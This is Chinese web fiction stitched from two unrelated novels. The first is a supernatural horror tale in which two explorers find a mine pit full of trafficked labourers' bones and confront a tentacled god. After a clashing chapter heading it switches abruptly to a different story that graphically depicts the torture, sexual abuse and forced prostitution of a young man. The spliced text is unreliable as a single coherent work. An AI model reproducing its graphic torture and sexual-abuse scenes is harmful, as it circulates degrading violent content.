“这是哪里?”褚颜有气无力地问道。 “不知道,像是山。”秦队环顾一圈,答。 这片天地都是雾茫茫的,树木也透着惨淡的灰白色,像用铅笔画成的素描。 一片冷色中,唯有石缝中的一丛紫花迎风招展,分外惹眼。 褚颜显然注意到了这特别的存在,指着花束道:“队长,那是什么花?” 秦队将他小心地放了下来,走到花丛边捻起来细看。 他刀口舔血,野外生存也不在话下,很快便认出了花的种类:“像是……铜草花?” “牙刷草,花紫红,哪里有它,哪里就有铜。”秦队念出了一段民谣,解释道:“这种花喜欢土壤中的铜元素,在没有勘探技术的古老年代,人们就是靠它来寻找铜矿的。” 铜矿……铜山镇…… 褚颜的脸色一下变得很难看,沉声道:“我们好像到了不得了的地方。” 秦队似乎也想到了一处,问:“镇长嘴里所说的矿山?” 褚颜点点头,说:“你还记得他的原话吗?无边的雾气从矿山弥漫过来,吞并了整个镇子。” “这里就是白雾的发源地,或许也是……邪神的所在地。” 秦队提出异议:“可镇民们不是说,金少爷在老坟地和湖心岛那一带吗?” “那是金少爷,而不是邪神。我怀疑,这是两个不同的存在。”褚颜说。 “为什么?”秦队拧起眉头,道:“他那种力量,难道还称不上邪神么?” “那确实是邪神的力量,但应该不是邪神的本体。”褚颜想起霍医生曾教过他的一句话,人和神的差别,比蚂蚁和大象的差距还要大。 “如果他是本体降临,那估计在他的一念之间,整个镇子都要覆灭了。不可能有让镇民们苟延残喘的机会。” “你好像对于邪神之类的东西,比对人的兴趣还要大。”秦队看着他,突然笑道。 “嗯?有么?” 秦队:“有。从一开始,我们还在设想和镇长他们合作时,你就已经开始偏向邪神了。虽然后面证明你是对的,但人的下意识反应,往往最能暴露他的心中所想。” “好吧,就算我有偏颇,但他们话里话外的疑点太多,由不得我不谨慎。倒是你,队长,你话变多了,也变密了,看起来心情不错?”褚颜用出了交谈中的一个技巧,当他不想回答某些问题时,就要把问题抛给别人。 “没错。”秦队坦率承认了。“唐镇长死了,那三个叛徒也死了。虽然不知道到底是谁杀了康洪,但也算解了我心头之恨。只可惜不能将他们全抓起来,一个个拷问。” ——黑色大手捏扁唐镇长之后,就把魔爪伸向了那三个异能者。 毕竟异能者体内都有“源”,对于大手来说,算是大补。 也幸好这手还能分得清好坏,没有把他们一同捏爆。 难道是因为他们站队邪神的缘故? 褚颜想不出个所以然,干脆将这个问题抛诸脑后,转而问道:“接下来怎么办?怎么走?” 往深处走,就要面对未知的危险;回去的话,那些手持猎枪的镇民,也实在不好对付。 “先吃点东西吧。他们似乎不敢过来,这里还算安全。”队长从口袋里拿出食物,递给他。“等你伤口痊愈,再做打算。” “好吧。”褚颜表示同意。 吃饱喝足后,秦队就开始尝试着探索周围的路线。 他抓了把石子放在兜里,每走出一段路程,就扔一块。 可无论他往左还是往右,最终都会回到原点,像是被困在圈圈里的蚂蚁。 摆在他们面前的,似乎只剩下上山和下山两条路。 “上还是下?”秦队拿出一枚硬币,让他猜正反。 “我们好像没什么选择的余地吧?”褚颜道。“就算下了山,我们也逃不出镇子。而且线索不是很明了了吗?” “金少爷?”秦队问。 跟聪明人对话就是这么方便,不用多说废话,一开口就都明白了。 “嗯。”褚颜点头,说:“陶去妹给我们呈现的幻境里,是她最后带着金少爷离开了。” “一个没了手脚的人,怎样才能毁天灭地呢?必然是借助了邪神的力量。” “而一切的谜底,就在这座山里。如果我没猜错的话,金少爷的最后一块肢体,应该也在这里。” “要去看?”秦队努努嘴,问:“恢复好了?” “没那么痛了。”褚颜说:“遗忘是个好东西,能让我忘记疼痛。边走边恢复吧,我不想拖后腿。” “还挺拼。”秦队道,说罢走过去,扶了他一把。 两人相携着往山上走去,一路上除了随风摇曳的铜草花外,就再无其他亮眼的植物。 但是路上却出现了许多胡乱丢弃的矿石,甚至还有采矿工具。 其中不少都已锈蚀,昭示着时间的流逝。 又往前走,则显出了卧倒在路边的白骨,骨架上还挂着灰扑扑又破破烂烂的衣服。 爬到山的高处,呈现在他们眼前的,是一个凹陷的深坑,足有一两个足球场那么大。 坑中有废弃的矿车,经过岁月的洗礼,早已烂得不成样子。 因为铜山镇采矿是在改革之前的事,几十年下来,地面植被也恢复了不少。 现在是“白天”,借着光,他们勉强分辨白雾的走向,源头是在矿区的后面。 一个区域挖掘完毕后,第一反应就是向周围拓展。那片似乎是选定的新址,而但凡新采,首先做的就是炸药开山。 而呈现在他们面前的,是一个黑漆漆的洞。 那洞在山体的侧面,旁边还残留着爆破后的留下的碎石。可里面却黑黝黝的,一点光线也没有。 微风轻轻吹拂,一切都很安静,如果不是脚边还有许多风化的尸体,恐怕他们要以为这是什么旅游胜地。 不知为何,越是平静,他们心里就越是不安。 “你还有力量吗?”秦队扭头问他。 褚颜摇了摇头。 “源”是异能者力量的源泉,摄入“源”之后,就会有源源不断的力量从身体里产生。 消耗掉的力量可以得到补充,但这个过程需要一定的时间。 24、第二十四章 千面之神 他接连做了好几件大事,又受了伤急需愈合,现在已经没多少力气了。 “先等你恢复一点,再进去吧。”秦队道:“或者我一个人去也行。” “那还是算了。我们不能再死更多人了。”褚颜道。 “嗯。”秦队在他旁边找地方坐了下来,静静感受着大战前的宁静。 他说:“等干完这一票,我就收手。金先生给的报酬,足够让我生活好一阵子了。” 褚颜见他摩挲着那个项链上的吊坠,忍不住问:“这是你家小孩?” “嗯,刚满三岁。”说到家人,秦队的嘴角忍不住扬了起来,又指着那女子道:“这是我妻子。” “原本以我的水平,是配不上她的。是金先生给我们做的媒,所以我很感激他。”他的眼里溢出幸福之色,又说:“她很好,教养好,长得好,人也很温柔……” “她很漂亮。”褚颜感叹道:“看不出队长你还有这么感性的一面。” “为人丈夫,总是不同的。”队长说完,扭头问他:“你呢?在跟拉维欧分别前,我听你说,你也有个孩子。生病了?” “嗯。”褚颜点点头,道:“是一种治不好的病,需要一直在医院待着。我只有赚更多的钱,才能有机会去陪她。” “确实很让人心疼,谁不希望自己的孩子健健康康的呢。不过你也不用太担心,异能者里有不少医生,也许有人能应对那种病症呢。”秦队道:“你现在也算拓宽了眼界,或许以后能碰上有对应能力的人也说不定。” “承你吉言,我会努力的。”褚颜道。 “你妻子呢?怎么没有听你提起?”秦队好奇地问。 褚颜摇了摇头,说:“我不记得了。” “不记得?” “嗯。”褚颜看向脚下,有些不好意思,道:“不怕你笑话,我是个失忆症患者。我根本记不得她是谁,也不记得自己是怎么来的。女儿是我跟这个世界唯一的联系了。” “这话说得过早。人是社会性动物,不可能就为了一个人活。你看你和我们不是相处得很好吗?朋友,同伴,主客,这些都是人和人之间的联系,是我们扎根于这个世界的锚点。”秦队劝慰道。 褚颜转悲为笑道:“你说得有道理。” 秦队:“嗯。不用担心,你总有一天会和你的家人重聚的。” “谢谢你,队长,你是个很会体谅人的人。”褚颜由衷叹道。 秦队笑笑没说话。他坐着吹了会风,似乎想到了什么,将手伸进衣服内袋里,拿了个小方盒子出来。 褚颜看着他将盒子打开,里面是一枚草编的戒指。 许是时间久远,戒指已经变得干燥枯黄,像是稍一折腾就会碎掉。 “这是金少爷的东西。”秦队道:“是他恋人留给他的。” “那他恋人呢?为什么没有来?”褚颜问。 “死了。”秦队道出这个残酷的事实,说:“在得知金少爷被绑架后,他第一时间朝这里赶来。但他在高架桥上突发心肌梗塞,翻车死了。” 褚颜问:“好好一个人,为什么会得这种病?” “累的。连日连夜找金少爷的下落,殚精竭虑,疲劳驾驶。”秦队道:“这些都是金先生告诉我的。这枚戒指,也是他临出发时交给我的。” “金先生似乎已经预料到了金少爷的变化,知道他也许失了理智,才会把这个给我。但我不能确保自己能顺利见到祂,所以为了以防万一,我把这个交给你。”秦队关上盒子,将戒指盒递到褚颜手中。 “这不好吧,我们不是要一起完成任务回去吗?你把这个给我,那你怎么办呢?”褚颜问。 秦队道:“虽然我比你多了点拳脚功夫,但面对邪神和异端,不是能打就行的。在宗祠里,你能面对两位异能者而不落下风,又有各种层出不穷的本领,你生存的机会比我更大。” “别拒绝了,就当替我代为保管吧。等过了眼前这个坎,你再还我不迟。” “好吧。”听他这么说,褚颜这才愿意接下来。 两人在矿洞外待了一阵,估摸着时间差不多了,才起身离开。 褚颜身上那道贯穿伤虽然没全好,但外表看起来已没多大异常,而那些疼痛,他的身体会自动帮他“遗忘”。 至于能量,虽然还没恢复到巅峰状态,但起码有一战之力,就算遇到危险也能及时后退。 才刚一踏进洞口,他们就察觉到了不对。 一种强烈的危险气息从深处传来,让他们生理性地不适。但那里又仿佛藏着无穷的诱惑,吸引着他们前去。 “还要去吗?”褚颜问。 秦队显然也有些犹豫,但最终还是坚定道:“都到这里了,去吧。” 没走多远,眼前就豁然出现了一个垂直往下的洞口。 秦队拿出手电筒照了一下,里面深不见底。 ——因为在义塔那把衣服都烧光了,秦队现在这身装备是新换的。 幸好在上塔之前,他还留下点行李,不然现在连裤衩子都没了。 “下去看看。”秦队对着墙壁发射出袖箭,对褚颜道。 两个人并做一处,拽着绳子一寸寸往下沉去。 下落了不知多久,只等袖箭的绳子都放到了尽头,他们才终于落了地。 脚一踩上去,褚颜就察觉出了不对劲。 地上有不少碎块,像是某种尖锐的石头。 秦队及时将手电筒打了过来,在灯光的照耀下,褚颜这才看清其中情景。 那是无数散乱堆积的骨头。和宗祠里整齐码好的骨架不同,这里的骨头多是碎的,东一堆西一堆,从最新几年,到快腐朽成灰的,都有。 不像屠宰场,倒像……某些未消化完全的残渣。 而旁边的石壁上,却有不少乱七八糟的划痕,仔细一看,才发现那是字。 当事人多是在黑暗中写就,所以那些字也乱七八糟,褚颜好不容易才拼凑出原本意思。 写得最多的,是“救命”、“妈妈”,还有“回家”。 一笔一划,层层叠叠,诉说着他们死前的悲伤。 恍惚间,褚颜似乎看到了他们生前的面貌。 他们大多身着单衣,背着沉重的背篓,一筐一筐运送着刚采出来的矿石。 在机械不发达甚至没有机械的年代,他们就是这里搬运的苦力。 有监工在他们背后催促着,用鞭子或是火枪加以震慑。 原本困扰他们更多的是过劳和疾病,可随着火药炸开这个洞口,他们便成了祭品,被投入到这个深坑中来。 随着铜矿资源陷入枯竭,对矿工的需求也日渐减少。 可依然有人源源不断地被送过来,他们有的是坐火车时被人下药,有的是找工作时被人哄骗,有人是走投无路想去寻亲…… 到这时褚颜才明白,他们大都不是铜山镇的原住民,而是从外面拐来的。 这也解释了为什么金少爷为什么会被带到这里,又为什么没人替他报警。因为这本就是个拐卖成风的镇子,男的就被拐来做苦力,女的就被拐来生孩子,等榨干他们的最后一丝价值后,就把她们拖到宗祠里血祭,或是扔进深坑里等死。 褚颜触碰着那些划痕,一张张痛苦、扭曲的、绝望的脸在他眼前重现,血泪斑斑,历历在目。 就连他自己,仿佛也要被卷入那极致的痛苦中,情不自禁就红了眼眶。 “贺兰,”秦队拉了他一把,将他从那种情绪里拽了出来,“你看这里。” 秦队指的是另外一处,只见洞穴的另一边,设置着一个陈旧的祭坛,祭坛上有一座苍凉古老的雕塑。 雕塑底部是一个埃及金字塔,上面则雕刻着一只巨大的怪物。怪物的肢体上附有利爪,面部则被一条血红色的触手所取代。 根据它的锈蚀程度来看,应当不是铜山镇的人建造的。 那它究竟从何而来,就很值得商榷了。也许它成形于远古时期,也许它是某个神秘部落的图腾,也许它与某些教派的祭祀活动有关。 褚颜不认得它,但脑海中却自然浮现了一个名字:千面之神——奈亚拉托提普。 因为光是凝视着这尊雕塑,他都觉得脑袋眩晕,便只好挪开目光。 而这时,他也终于发现了自己所需要的东西。 邪神的“右腿”! 它静静躺在祭坛底部,在手电筒的照射下,散发着莹润温和的光。 依据陶去妹呈现的影像,金少爷最后已经手脚全无。 只要他不是傻子,就不会再往自己身上切一刀。那这条“右腿”,就是他们需要集齐的最后一块碎片。 褚颜看了眼秦队,对方点点头,说:“你拿着吧。” 见此,褚颜才放心地将它拾起,放进收容匣中。 “东西到手,我们走吧!”褚颜脸上的笑容还没来得及完全绽放,一阵直击灵魂的低吼声突然在他们脑海中响起。 脚下的土层骤然塌陷,显出一个看不到底的、仿佛直通地狱的深渊。 褚颜的身体急剧下落,而后被一只手拽住了。 25、第二十五章 窥探的代价 在地面下陷时,队长第一时间给出了反应——他发射袖箭,又一把拉住“贺兰”,由着机栝将他们往上拽。 然而致命的阴影已经席卷而来。 秦队将褚颜递到有袖箭的那只手上,右手向下释出无数火焰。 褚颜低头一看,只看到一条穿破火焰而来、无限延长的血红色触手! 就在他们即将抵达洞口的最后一刻,祂卷上了秦队的右腿! 秦队来不及思考,单手将褚颜往上面一送,右手拔出枪来,对着下方疾射。 “砰砰”数枪,无数带着火焰的子弹射到触手上,却连祂一点皮毛都没蹭破。 褚颜抵达上方后,也是第一时间回转身来拉他,然而那触手却仿佛有无穷无尽的力量,将秦队的骨骼都拉出了惊人的咔咔声。 “别松手!”褚颜竭力够住能触碰到的石块,试图阻止秦队下落的进程。 他看到秦队的目光变得决绝,竟直接调转枪头,对着自己腿部轰去。 转瞬之间,那条腿便断裂开来。 而褚颜也终于将秦队拽了上来,他强忍住眼眶酸涩,拼尽所有的力气,抱起秦队就想往外跑。 然而他还来不及迈步,那条血红色的触手又接踵而至,这次它直接缠上了秦队的腰身。 在死亡的威胁下,秦队只来得及扯下胸前的项链,将它递到褚颜手中。 “转告我妻子,我爱她!” 在被触手拉下深渊的瞬间,无边火焰从他身体里焚燃。 他要用他所有的力量,来与这该死的东西玉石俱焚! 山洞在剧烈的能量冲击下,发出震撼的颤声。 留在褚颜脑海中的最后一副画面,是取代火焰而生的一片璀璨星空。 然而,那也是一切恶念、腐朽、混乱、不洁的集合体,在“直视”祂的瞬间,褚颜只觉得脑袋轰地一声,铺天盖地的阴影落了下来。 求生的渴望让他疯了一般往外跑去,在他脱离洞口的瞬间,山体骤然崩毁! 可他依然陷在一片黑暗里,伸手不见五指。 他以为是小镇再一次切换成了黑夜,可当他用手去摸眼睛时,才发现,他的眼睛不见了! 还有他的鼻子,他的嘴巴,他的半个脑袋,都不见了! “啊啊啊啊——” 这惨烈的无声的嚎叫从他不复存在的嘴里、从他的灵魂里迸发出来,带着无尽的绝望与惊恐,带着他滚落山崖! …… 我到底——是个什么东西? 这一次,是褚颜在自己问自己。 怎么会有人消失了半个脑袋,还能活着? 他甚至能思考,能恐慌,能指挥这残余的身体往外跑,以防范那恐怖的东西再一次出现。 他摸出《救世主保命守则》,用手一页一页摸索着,试图找出答案。 可它并没有出现新的提示,只有第一页的注释灼痛了他的指尖。 “不可轻易窥探未知!” 只见一角,不知全貌,地底下的“祂”究竟长什么样,无人知晓。 雕塑上的血舌,也许只是“祂”的形态之一。 “祂”的本体如何,没人见过。 或者“祂”根本没有所谓的本体,“祂”是超出了理智和认知的存在,是真正意义上的神明! 不知在山中跌跌撞撞走了多远,夜晚的失温让他不住颤抖,不能视物也让他心生畏惧。 他只能通过微雨和白雾的变化,来判断时间过了多久。 第一天,他的脑袋开始缓慢愈合。 第二天,他的五官形成模糊的轮廓,他在饥饿中开始疯狂进食。 第三天,他终于恢复了人的样子,可身体里的力量已被抽空,食物也无半点存留。 他跌跌撞撞,无力地倒在路边,看见黑夜切换成白天,看见无边无际的雾气漫了过来。 “仁慈的神啊,如果你真的存在——救救我吧!” 在无尽的空茫中,在他饿到发昏的眼里,在圣光之中,蓦然出了一道模糊的身影。 那身影向他伸出手来,像引渡他去往天国的使者。 但那道突兀的笑声却将他一把拉回了人间。 “神没有,神父倒是有一个。” 拉维欧捏开他的嘴,将一块巧克力塞了进来。 在巧克力慢慢融化的瞬间,褚颜在感动的同时,无声怒骂:我就知道好吃的都被你私藏了,我们只够吃压缩饼干! 在狼吞虎咽完好几个面包和两瓶水后,褚颜才终于缓过劲来。 但此刻他的肚子就像个无底洞,依然不知饱足。他还想再要点,只换来神父一个白眼:“这是最后一点了。” “你怎么回来了?”两人并肩坐在山头上,褚颜开口问。 “听见枪声,怕你们出事,就赶过来了。但是我来的时候没看见你们,找了你三天,才找到你。”神父说完,又问:“队长呢?” 褚颜沉默下来,一口一口地喝着瓶子里残余的水,过了好久,才回答道:“他死了。” “是邪神……杀死了他。” 他低下头,自责道:“是我太弱了。” “不是你的错。”神父拍了拍他的肩膀,道:“你已经做得很好了。” 褚颜将秦队的项链揣进兜里,又对神父说:“把那块肢体给我吧。我要去见金少爷了。他和邪神不是一体,我的猜测是对的。” 神父把肢体取出来,递给他,却说:“我跟你一起去吧。” “你不怕死了吗?”褚颜问。 神父道:“怕,但是也不能让你一个人去吧。而且你要是失败了,我也会被永远困在这里,还不如拼一把呢。” 褚颜没有拒绝,他确实也需要神父的帮助。 “说吧,去哪?”神父问。 “湖心岛,你去过的地方。”褚颜道。 神父施展那个属于“风”的魔法,短暂驱散了面前的白雾。 因为身在高处,他们自然窥见了暴露在天光中的铜山镇。 它看起来是那样地安宁祥和,仿佛那些致命的杀戮、危机,都不复存在了一样。 神父用风卷起褚颜,带着他往湖心岛的方向飞去。 这一次没有幻象拦路,也没有分岔路口,他们无比顺利地抵达了湖心岛的边缘。 没过多久,就看见一条独木舟突兀地出现在湖水中,破开波浪朝着他们驶了过来,静静停靠在了他们面前。 神父指着它,道:“上次我们就是坐这艘船去的湖心岛。” “你确定?”褚颜只觉得头皮一阵发麻。 呈现在他眼前的,并非小舟,而是一个平躺在水面之上,黑发散乱的女人。 她缓缓坐起,抬起那双只有眼白的眼睛,看向了褚颜腰间的收容匣。 都到这个份上了,不至于只买票,不让上车吧。褚颜想。 他半信半疑地拿出那四截肢体,对着女人递了过去。 女人珍而重之地伸手接过,而后迅速沉入湖水之中。 片刻后,一艘真正的小舟从湖水里翻滚出来,而船舱中,是滴水未沾的四截肢体。 “现在可以走了。”褚颜道。 神父目瞪口呆地看着这一切,这才明白过来:如果他没有凑齐四截肢体就上船,那等待他的只有死。 两人上船后,小舟吃水,下沉了许多。却仍是尽忠职守地载着他们,往湖心开去。 神父用“圣光”驱散白雾,看着平静的湖面在视野里缓缓展开。 行至中途,无数女人从水中冒了出来。不是上次所见时缠满裹尸布的尸体,而是皮肤红润、宛如生前的状态。 神父甚至在其中看见了一道熟悉的身影,那是——戴雅! 他情绪激动之下,带得小船也开始摇晃。 褚颜察觉到船身的倾斜,顺着他的目光看去,也见到了那熟悉的队友。 “她已经死了,我们带不走她的。”褚颜说罢,将神父拽了回来:“不要久望。” 神父想起上次多看一眼就掉到湖中的场景,按捺下心头思绪。 告知完神父要凝神静气后,褚颜在小船从尸群中穿过时,竟不自觉看到了她们的过去。 原来她们多是用来血祭的祭品,或是被拐卖、残害至死的可怜人。 她们的尸体被沉入湖中,久而久之,便生了怨气。这怨气和邪神的力量一结合,就外化成了如今这副模样。 这也就解释了为什么湖心岛会和老坟地挨在一起,因为这对于镇民来说,也只是另一个抛尸地。 慢慢的,那座六芒星形状的岛屿呈现在两人面前。 岛中央伫立着一尊半身雕像,冷淡,苍然,波澜不惊。 在神父“风”的作用下,褚颜终于看清了那雕像的真容。 原来它既不是泥塑,也不是木雕,它就是金少爷本身。 直视“祂”让神父产生了很大的负担,甚至于无法再维持现有的魔法。 而褚颜经过邪神的洗礼,对其有了一定的防范。他对拉维欧嘱咐道:“尽量不要直视和窥探。” 说罢便抱起那堆残肢,和神父一起弃舟登岸,走到了金少爷面前。 只见四块残肢无风自动,相继拼凑到了金少爷的躯体断裂处。 “久违了。”他说。 褚颜不知道他这句“久违了”是说的这些肢体,还是说的自己,又或者两者都有? “祂对你,很感兴趣。”金少爷看着他,缓缓道:“祂在你身上,感受到了熟悉的气息。” 25-30 第25章 第二十五章 他帮他买了一些画纸和颜料等等。支起画架让他画画。 周木由专门的老师教过,却是跳出了老师的框图,自己画出了自己的风格。 方佑肃发现他对这项事物的痴迷之后,便干脆当起了他的模特。 不过他每次都能让周木哭笑不得。 周木笑他,说,我要画裸模。 他就落落大方地脱衣服。 脱完之后周木囧了,说,怎么你说脱就脱啊,赶紧穿上,穿上。 调戏小孩成了他每天的娱乐活动。 周木的画真的画得很好,任何东西到了他笔下都有了灵气。当自己的画像出现在周木笔下时,方佑肃都惊呆了。他捧着那幅画跟宝似发,说:“大神,您老隐居人世之前名字叫马良吗?” 周木一脸受用的表情,还故作谦虚地说:“不敢当,不敢当。” 这样的周木,才是他渴望看到的样子。十八岁的少年应该有的朝气,应该被释放出来,而不是被掩盖在那层忧郁之下。 陪着自己熬夜打游戏,做菜时会多加点盐放自己吃的那盘子里以报昨天战败之仇,睡觉时会让自己先进被子睡觉把被子捂热……这样的周木,有着生动调皮但不令人讨厌的一面,才像个真正的少年。 屋子里没有暖气,于是他们几乎是不怎么出去的。 或许是知道这样的幸福不会长久。 每一分每一秒,他们都过得分外珍惜。 “大画家怎么不画你自己的自画像啊。” “画自己多自恋啊。” “那你画我。” “得了吧。谁爱画谁画。” “真伤心。”方佑肃眼珠子一转,说,“要是以后你真成为大画家了,记得多给我几幅。” 周木抬起头看他,说:“怎么,觉得我的画水准太高,放在家里能提升家居品味?” “不。我要等真正懂行的鉴赏家来了,高价卖出去。” “姓方的,离我远点。” “干嘛?” “我怕你离我太近,我会忍不住拿削笔刀捅死你。” “要不要这么凶狠残暴?你已经满十八了哦,当心井茶叔叔找你哦。” “实在是你太欠揍。” 偶尔斗斗嘴,偶尔哼着小曲儿自己洗碗他拖地,像相处了十几年的老夫妻一样,过着平淡如水但难能可贵的生活。 后来他出去找了份工作。薪水不高,但是也算不错。最重要的是,不需要身份证。 周木一人也闲得慌,便也找了份工作。在餐馆里打工,经常会忙得很,还要在寒风里洗盘子,那双漂亮的应该被用来画画的手总是冻裂。 方佑肃心疼得很,买了护手霜给他仔细涂了。晚上睡前还给他用热水泡几次。 不过这家伙总爱给他找事。 他端着盆子给他洗脚,刚把他脚按下去他就掀了自己一脸水。 他把周木面朝下按在被子里打了一顿。 第28章 第二十八章 醒来时周胤城正拿着针刺穿他的乳首,带出一滴血珠。 周胤城拿着带倒刺的皮鞭冲他笑,说:“我又想到了新的玩法呢。” 那脆弱的器官,后面,大腿,臀部,都被那鞭子狠狠地抽着。 会坏吗? 坏了就是报废了吧。 会被送到回收站去吗? 第二天周胤城走的时候把他铐在了栏杆上。 肚子饿得快要被胃酸腐蚀掉了。 他被铐的右手因为保持着这个姿势无法动弹,已经麻得不像自己的了。垂落在地的手突然被一个毛茸茸的东西顶了顶。 他睁开眼,看到布丁摇着尾巴出现在他面前。 他伸出左手去揉了揉布丁的头。 明显瘦了很多的小家伙。 据说那天他跟方佑肃走了之后,这小家伙也跑了出去。直到自己回来他才回来。 没有人给它好好喂食呢。都瘦了好多了。 摊上我这样的主人,吃也吃不饱呢。布丁。 布丁舔了舔他手心,掉头跑了。 不一会儿却又回来,把一样东西吐在他面前。 还冲他摇尾巴。 周木几乎瞬间就落下泪来。 那是一块肉。不大。但肯定是别人好不容易给它吃的。 “我不吃,你吃。”周木哽咽道。 布丁见他没反应,又往下跑去,回来时却是吐了块青菜在他面前。 它以为周木不吃是不喜欢吃呢。 周木一只手把布丁揽起来,抱在怀里,泪水落下来,掉在它头上的软毛上。 好不容易让小家伙吃了肉。周木抱着它渐渐睡去。 醒来是被周胤城粗暴地扯着醒来的。 他把周木一把扯起,怀里的布丁一把掉落在地。 布丁看到周木被周胤城扯起来,突然就跳起来一把咬在了周胤城手上。 周胤城痛呼一声把布丁甩掉,看着手上的牙印,脸色变得难看起来。 “贱人的贱狗。” 周木听着他说出口的话,心里的不安渐渐扩大。 “你要干什么?周胤城,你把它放下!” 第29章 第二十九章 “弄死你一条狗,那我还你一条好了。” 男人冰冷的声音还似乎在耳边回响,脖子上的项圈让脖子渐渐发凉。 指甲缝里还残留着泥土,和干涸的血混杂在一起,脏污不堪。 就在昨天晚上,他把那只可怜的瘦小的狗,埋葬。用这双手,在冻土中挖了个坑,把他毛茸茸的小小身躯用土掩埋。 他昨天疯了一样对周胤城作出了反抗,差点把他身上的一块肉咬下来。赤裸的身体上满是青紫,有被打出来的,有性事弄出来的,斑驳交杂。 他好像还特地去打了狂犬疫苗。谁是疯狗呢?到底是布丁,是我,还是你呢?他就这么对他说。 而现在,这个男人正在自己面前,摆着一个火盆,把一幅一幅画扔到其中。都是画室中周木的珍藏,一幅一幅,都是画的周胤城。被火苗吞噬,化为灰烬。 那是他曾经那么珍视的东西啊。 记录着他们的点点滴滴,就这么,消散了。毁在了本尊手里。 “你看,你画的这些东西,一文不值呢。” 是谁曾经对他说过他画的画价值千金呢? 周胤城把在周木房间里找到的一对银色的戒指在他面前晃了晃,说:“对戒呢,你还想跟我结婚吗?婊子。” 周木终于开始动容,他扑过去抢,却被链子勒住脖子不能再动分毫。 周胤城把戒指住在手里,往窗户所在的方向一扔。 一枚飞了出去,还有一枚则在窗框上弹了弹,掉落在地,不知道滚到哪里去了。 这时的周胤城还不知道,很久以后,他会为今天的行为,追悔莫及。或者说,对他所作出的一切,追悔莫及。 周木后来问身边的人,说为什么一个人会用尽一切手段让另一个人受尽折磨? 那个时候,身边的人对他说:“因为这个人,不爱他。” “可是难道会没有感情吗?” “感情是有的。但既不是喜欢也绝对不是爱。而且当仇恨已经蒙蔽双眼时,只有疯狂,才能让人不顾一切。” 第30章 第三十章 周锦墨的病情恶化了。 之所以这样说,是因为周胤城又失控了。 周锦墨有什么不好的,他就会加倍报复在周木身上。 所以就算没有人告诉他发生了什么,他也可以通过周胤城的变化推测出来。 周胤城倒真是不把他当人来看了呢。 就连吃饭都会把他手铐在后面,拿个小盘子装着,让自己像条狗一样去舔。 可是周木终究还是低估了周胤城,他没想到,他可以残忍到这种地步。 “你知道吗?医生说他会死呢。我等了这么久,没有等到他醒来的消息,却等来一句准备后事。”周胤城说话的时候喷出一股股浓浓的酒气。 “你说我是不是要好好感谢你,啊!”周胤城扯着链子把他拖下了楼。 “你不是爱画画吗?你不是爱画吗?”他把熨斗的插头插到了开关里。 周木再一次感觉到惊天的恐惧。 他不停地后退,却又被男人扯着狗链子扯了回来。 “周胤城,你放开我。放开我。你醒醒,你醒醒。”周木疯狂地摇着头,眼泪几乎要夺眶而出。 可酒醉的男人根本就听不进他的任何话。 周木垂死挣扎着。 他知道男人想干什么。 他要废了他的手。 不行。这绝不可以。 他要靠着他的手去画画,靠着他的手去做菜,靠着他的手去拿筷子吃饭。 周木的哭喊声被男人生生地扼杀在了喉咙里。 男人压住他的身体,按住他的右手,把已经足够热的熨斗按了上去。 “啊——”凄厉的惨叫声划破了黑夜的寂静,回荡在空旷的大厅里。 皮肉烧焦的味道弥漫在空气里。 周木的叫声渐渐微弱了下去。最后,他的头歪向了一边。 周胤城像是从梦魇中突然惊醒一般。他看着身下那张痛昏过去的熟悉的脸庞,心里突然地就泛起了慌乱。 他把熨斗扔到一边,抱起那人的上身。不住地道歉:“锦墨,锦墨,对不起,爸爸错了。锦墨,对不起,爸爸错了。” 锦墨…… 锦墨…… 锦墨…… 那只无力垂落的右手手背,已经是皮肉翻卷,焦黑一片。 30-40 第31章 第三十一章 好像做了一个很长很长很长的梦。 梦里,他还是个少年。 梦里,周胤城还是那么残忍。 周木从梦中醒来,阳光从窗外漏了进来,却无法温暖这一室冰冷的空气。 他坐在床上,用双手抱住双膝,努力回忆,妄想搜寻一丁点哪怕是快乐的回忆。可脑海里却充斥着那些噩梦般的事情。 被记不清面孔的人进入。 不知道多少个夜晚,被客人压在身下。 无论是在昏暗的巷子,还是在肮脏的公厕,或者是在铺满玫瑰花茎的地板上,只要他们给足三百块,就能任意对自己施为。 他终于知道,这世界并不像教科书里描绘的那样光明美好。无论是电影还是电视,似乎永远都只会宣扬一些经过粉饰过后的所谓真相。 他是那个地方最便宜最实惠的一个MB。 因为把他买入不需要什么钱。 而且,他是死是活不会有人在意。 他成了城市边缘最灰暗的存在。 没有人会在意他们的安全保障,也很少有人会出头披露他们所受的不公平。 他们在昏暗的路灯下,在霓虹灯的阴影里,跟每一个客人讨价还价。 永无止境。 他们是游走在社会边缘的灰色人群。 只要进入那个地方,多了那么一重身份,他们就注定无法再坦率地活在阳光下。 看着身边的人,要么不堪操劳地死去,要么得了无法根治的病被抛弃。他们,深陷恐惧中,却无法脱逃。 无论过得有多么窘迫,他都会去买质量好的安全套。因为他怕,怕一不小心就得了那A字开头,或者是其他什么病。 那回经理还特地表扬了他,说:“小周你很敬业啊。客人说跟你睡都可以省好多安全套的钱呢。” 他回笑。笑得苍白而虚弱。 原来人欲,居然可以让人变得那么变态。 白天衣冠楚楚,到了晚上,喊个鸭子开个房,脱了衣服就是禽兽。玩3p,玩群x,玩虐|待,只有你想不到的,没有他们做不到的。所以当遇到那种把鱼放到他后面去的客人时,他也能勉强挤出一丝笑来让他们高兴。 快疯了吧。他以为他会疯的,可他没有。于是他只能清醒地看着这一切,发生在他身上。 他总会盼望着,有那么一个人,会远渡大洋过来找他,把他从这个地方带出去。 可他等啊等,等了很久,却还是重复着,这晦暗不堪的工作。 没有人把他从这沼泽里拉出去。 现在他终于明白,任何事情,只有靠自己,才能有一线生机。 没有人,会伸出手来帮你。 他去医院切胃,那个医生从他身上看出了他的职业。他也不知道他是怎么看出来的。但是那个医生几乎是避之不急地把他推出了门。 “我不给男同性恋治病。” 那是那个医生说的。 让人心寒。 第32章 第三十二章 他记得齐楚一的房子好像在这附近。 周木在街道里穿行,凭着记忆搜索着那栋他曾经来过一次的公寓。 他不是为了挽回什么,他只是想证明……其实他也不知道他要证明写什么。但是他知道他想找到齐楚一,不管他要分手还是如何,他都想求个结果。 他不会去演绎哭着求他回来的那种情节,他没有那么贱。 本来他那种社会精英,前途一片光明的人,跟自己待在一起就是勉强凑份。他们没有未来。 站在离得比较远的地方,他看到了齐楚一。可脚像在原地生了根,让他停步,再无法上前。 齐楚一正抱着一个人,把他压在楼梯拐角的地方,忘情地吻。 周木的手捏紧了手里的检验报告。 他怕齐楚一说他有病,所以他特地去医院里做了检查。 他没病。 不过现在看来,这已经没有必要了呢。 不知道自己是怎么到家的。 